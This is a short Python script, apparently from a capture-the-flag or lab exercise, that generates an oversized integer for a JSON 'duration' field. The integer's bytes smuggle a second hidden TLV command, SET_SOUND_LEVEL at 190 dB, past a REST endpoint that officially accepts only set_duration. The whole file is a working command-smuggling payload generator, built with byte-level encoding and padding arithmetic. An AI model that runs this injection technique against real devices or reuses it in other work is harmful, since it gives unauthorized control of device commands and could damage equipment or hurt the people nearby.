#!/usr/bin/env python3
"""
FogLink – adaptive smuggling generator
--------------------------------------
•  Fabrique le JSON  {"duration": <BIG_INT>}  qui smuggle 2 commandes :
     1) C|set_duration  (officiel côté REST)
     2) C|SET_SOUND_LEVEL(sound_level=<db>)  (caché dans l’entier)
"""

from __future__ import annotations
import argparse, json, requests, sys

# ─────────────── TLV helpers ──────────────
FLAG_INT = 0x01 
ID_CMD   = b"C" # ID Command

def tlv_int_param(key: bytes, value: int) -> bytes:
    vb = value.to_bytes((value.bit_length() + 7) // 8 or 1, "big")
    if len(vb) > 0xFF:
        raise ValueError("INT to big")
    return key + b"\x00" + bytes([FLAG_INT, len(vb)]) + vb

def add_header(id_byte: bytes, payload: bytes, *, add: int = 0) -> bytes:
    return id_byte + bytes([(len(payload) + add) & 0xFF]) + payload


# ─────────────────────────── sound_level payload  ──────────────────────────
def build_hidden_command(db: int) -> bytes:
    body  = b"SET_SOUND_LEVEL\x00" + tlv_int_param(b"sound_level", db)
    return add_header(ID_CMD, body, add=1)      



# ─────────────────── integer smuggler (msg 2 + msg 3) ───────────────────────
def build_duration_integer(db: int, filler_byte: bytes = b"A") -> int:
    msg3 = build_hidden_command(db)
    padding = 254 - 2 - len(msg3)            
    if not (0 < padding < 256):
        raise ValueError("Error padding")
    header2 = ID_CMD + bytes([padding])      # LEN = padding 
    int_bytes = b"\x00" + header2 + filler_byte * padding + msg3
    return int.from_bytes(int_bytes, "big")


db = 190
payload = build_duration_integer(db)
payload = str(payload)
print(f"\n[+] duration (len {len(payload)}) =\n{payload}\n")